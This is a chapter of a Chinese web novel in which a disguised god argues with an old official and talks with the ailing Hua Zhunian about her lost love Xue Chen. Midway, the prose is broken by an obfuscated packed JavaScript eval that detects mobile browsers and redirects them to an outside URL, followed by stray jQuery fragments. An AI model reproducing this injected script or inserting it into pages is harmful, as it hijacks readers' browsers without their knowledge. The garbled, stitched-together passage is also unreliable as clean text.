61. 一个像薛尘的人

作品:《我与仙君相识于微时

    话是这么说,可宋礼遇大早晨起来,刚一打开门,脖子上就架了一把斧头。


    之前为了不让人打扰他和花祝年,特意不让下人守在门口。


    哪想到这个后生会在这里等着他?再说了,他不是把囡吉送他了么?


    干嘛还这么气急败坏的?


    囡吉在一旁哭哭啼啼地拦着衡羿:“你这是干嘛呀!照顾了你一晚上,一醒来就过来找事儿。”


    宋礼遇对囡吉摆了摆手:“夫人还在睡觉,声音小点儿,别吵着她。”


    囡吉瞬间闭上了嘴巴,睁着泪汪汪的眼睛,看着衡羿。


    衡羿看着宋礼遇迈出门槛的左脚,压低声音发泄道:“谁让你先迈左脚的?”


    宋礼遇也憋了一肚子火,他又没睡成,可是又不能让别人知道他没睡成。


    只能装作睡成的样子,强压着自己的火气。


    宋礼遇指着衡羿的鼻子,用同样低的音量说道:“昨天是我大喜的日子,今儿个我也开心!所以你发疯,我不跟你计较。”


    衡羿听完更生气了,一把将宋礼遇摁在门框上:“你不知道,出门要先迈右脚吗?”


    宋礼遇骂骂咧咧道:“你他娘的,故意找茬儿是不是?”


    衡羿在天上待得实在无聊,他已经许久不和人吵架了,偶尔吵一吵也挺好的。


    他吵得格外认真:“我就问你,为什么要先迈左脚?”


    “你管我为什么?老夫的门槛,老夫爱怎么迈,就怎么迈!”


    衡羿一斧头劈了下去,吓得宋礼遇将左脚退了回去。


    宋礼遇气道:“你到底要干什么啊?我跟花小姐,都已经礼成了。囡吉我也送给你了,别管你要不要,反正我是送了。怎么看,你也不亏啊!你在这里跟我置什么气?啊?”


    宋礼遇站在门槛里面,说得胡子翻飞。


    衡羿怒气冲冲地蹲了下来,一言不发地将新房的门槛,砍得歪七扭八。


    直到砍没了这道门槛,才勉强丢了斧头。


    “以后出门,先迈右脚。”


    宋礼遇看着衡羿,想找人揍他,眼下又没个能用的人。


    只得忍了这口气。


    不过这后生也真是神经!要是舍不得,干嘛不昨晚来找?


    有种中透露着一丝没种,没种中又透露着一丝有种。


    宋礼遇出去后,衡羿才进去找自己的小信徒。


    刚刚那么大动静,他就不信她还能睡着。


    可等他进去一看,她居然拿被子捂着耳朵,侧躺着又睡过去了。


    衡羿小心地去摸她的头。


    他才不在乎她经历了什么,她找几个男人,都是她自己的事。


    况且,他提醒过她,不许她救贺平安和那些男人的。


    她根本不听他的话。


    也是,他算她什么人呢?


    她凭什么听他的?


    他对她而言,还没一个破泥人儿亲近。


    恐怕,就是真的薛尘出现在她面前,她也还是会选择救那些人的。


    没关系,他不在乎。


    她就要死了,等他给她收完尸,他就还完她的恩情了。


    他也就该回天上了。


    花祝年一直睡到中午才醒,衡羿也在那张床上躺到了中午。


    在哪儿守不是守。


    他又不跟她做什么,在地上和在床上也没什么区别。


    宋礼遇确实小心眼儿,修个门槛修了一上午,其实就是派人看着他们。


    哪怕明知道花祝年并不喜欢这个后生。


    只是拿他当儿子看。


    花祝年睁开眼睛后,看了看身边躺着的人。


    “你怎么躺这儿了?”


    衡羿凉凉地说道:“昨晚累着了吧,今天睡得那么沉。”


    她望着头顶的红帐子轻喃:“是觉得累,可能是人老了的缘故,感觉做什么都很累。有时候,走几步路,都觉得累。”


    衡羿转过身,抱住了他的小信徒,嘴上却说着无厘头的话。


    “花大娘,我们什么时候回去啊?我想我娘了。”


    花祝年回想着昨晚的话:“宋礼遇说,今天就送我离开。”


    衡羿凑到她耳边说道:“我们这回走了,是不是,就不回来了?”


    她俏皮地小声说道:“人都救了,还回来干嘛?有病啊?”


    衡羿别扭道:“可是,你都嫁给他了。”


    花祝年忽地笑出了声:“嫁他又怎么样?我人嫁给他了,心又没嫁给他。我想去哪儿就去哪儿。”


    衡羿掩饰住自己的宠溺,用略带责怪的语气道:“你还真是不守礼节。”


    花祝年忽地拍了他一巴掌:“不用太守礼节的。如果繁文缛节让你痛苦,那就让那些都去他妈的。算了,跟你这些读书人说,你也不懂。”


    她缓慢地从床上坐起来,懒洋洋地伸了个懒腰:“等回去后,你就跟绒绒成亲。我跟你贺大叔去吃你们的喜酒啊。还有,介绍费你得给我。”


    衡羿看着自己的小信徒,忍不住对她引诱道:“花大娘,你就,就没想过,找个别的人吗?”


    花祝年愣了一下:“找什么人?”


    “找个别人跟你一起过日子。”


    “我都有贺平安了,干嘛要找别人一起过日子?”


    衡羿生气道:“我是说,你可以换了他!”


    “我为什么要换他?”


    “你都不在乎礼节了,干嘛要跟他那样的人过一辈子?找个年轻的,不是更好吗?比,比如,比如外面那些俊后生,哪一个不比贺大叔好?”


    衡羿觉得自己并没有在破坏贺平安的婚姻。


    他只是,想让小信徒有新的婚姻。


    反正,小信徒也嫁了宋礼遇,那再考虑考虑别的人,好像也不是不行。


    他没有说让她考虑他。


    只是,在说别的人。衡羿是真心觉得,他的小信徒值得拥有很好很好的伴侣。


    而不是,一个易怒的贺平安,亦或是小心眼儿的宋礼遇。


    他们都不是她的良配,他,他也不是。


    花祝年看着窗外的鸟儿,虽说是自由自在地飞来飞去,可也不过是从一棵树上,飞去另一棵树上而已。


    并不能长久地停留在天空,那样翅膀会累坏的。


    “我爹娘也这样劝过我,但是我觉得,天下间的男人,好像都是一样的。嫁给谁,似乎都没什么所谓。”


    衡羿着急道:“那还是不一样的。只是,你没有再遇到喜欢的。如果遇到了——”


    他的话还没说完,就被花祝年打断道:“我不可能再遇到的,就算遇到,我应该也只是多看两眼,再没什么别的念想了。”


    “为什么?你不想再嫁一次吗?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425977|132764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    花祝年笑着摇头:“成亲太累了。”


    衡羿忍不住问她:“那如果,一个像薛尘一样的人,再次出现在你面前,你也只是看他两眼吗?”


    花祝年坦荡地点头:“是啊,两眼已经够多了,再多看一眼,就会让人起疑的。对方会说,这个老太太真奇怪啊,总盯着我看干嘛?一个像薛尘的人,应该是很年轻很年轻的吧,可我现在,已经不怎么年轻了。”


    衡羿对她试探道:“你要是真的放不下他,等我遇到像薛尘一样的人了,我就把他抢过来给你睡。你不用管他愿不愿意。”


    花祝年吓了一跳:“千万不要做这种欺男霸女的事。我让绒绒强迫你,是为了今后让她有地方去,有人护着。我现在又不是没地方去,也不是没人护着,干嘛要把人强抢过来呢?”


    衡羿听完之后,内心很是复杂。


    “薛尘对你来说,到底还是和我们这些男人不一样的。别的男人对你来说,是块肉。薛尘对你来说,是个人。肉可以肆意分享,甚至可以横加利用,可是人,你却舍不得。不仅舍不得薛尘,就连像他的人,你都舍不得伤害分毫,是不是?”


    花祝年其实不是很想,跟别人分享自己的感情。


    那都是三十年前的事情了。


    如今,她已经没有男女之情了,对任何人都不会有。


    听这后生这么一说,心里还怪疼的。


    她一巴掌拍了过去:“管我的感情干嘛?管好你自己就是了。一天天地,闲得你蛋疼!”


    花祝年有时候骂街是很粗鲁的,但她并不是真的要表述骂词中的意思。


    就仅仅是发泄之语。


    可衡羿每次听到,都会脸红。而且,是腾地一下就红透的那种。


    明明他都是一个高龄老神仙了,内心不应该再有什么波动的。


    况且,她这又不是什么调戏之语。


    他居然,听她骂自己,都会有这样大的反应。


    千万不要传出去,好丢脸。


    衡羿帮自己的小信徒穿衣服,她身上水肿的地方越来越多。


    摁下去,就是一个坑,还很容易出现淤青。


    他现在像呵护一支摇摇欲坠的烛火一样,小心翼翼地呵护着她。


    生怕一阵风吹过来,对她造成什么损伤。


    在帮她穿鞋的时候,他没有选宋礼遇的鞋,而是选了他们路上买的鞋。


    花祝年穿好后,在地上走了走:“还是这鞋穿着舒服。”


    衡羿低头自夸道:“我买的,自然是最好的。”


    两个人中午吃饭时,宋礼遇又巴巴地凑了过来。


    “夫人,此去路途遥远,我给你配了点东西,用车队送你回去,好不好啊?”


    衡羿把筷子一摔:“不好。我们怎么来的,就怎么回。不劳宋大人费心了。”


    宋礼遇想起这后生,死皮赖脸地睡自己夫人身边,补回笼觉,就觉得气。


    “我跟我夫人说话,你一个后生,老插什么嘴?”


    “这一路,都是我送花大娘来的。花大娘习惯了听我的。我当然有权利决定,要不要你的东西。”


    又在跟他讲权利这种事!一个个的,到底是跟谁学的?


    宋礼遇拍桌子闹道:“那你们就别回去了!反正,这人我也已经娶了,没有我的命令,你们休想踏出这个宅子一步。”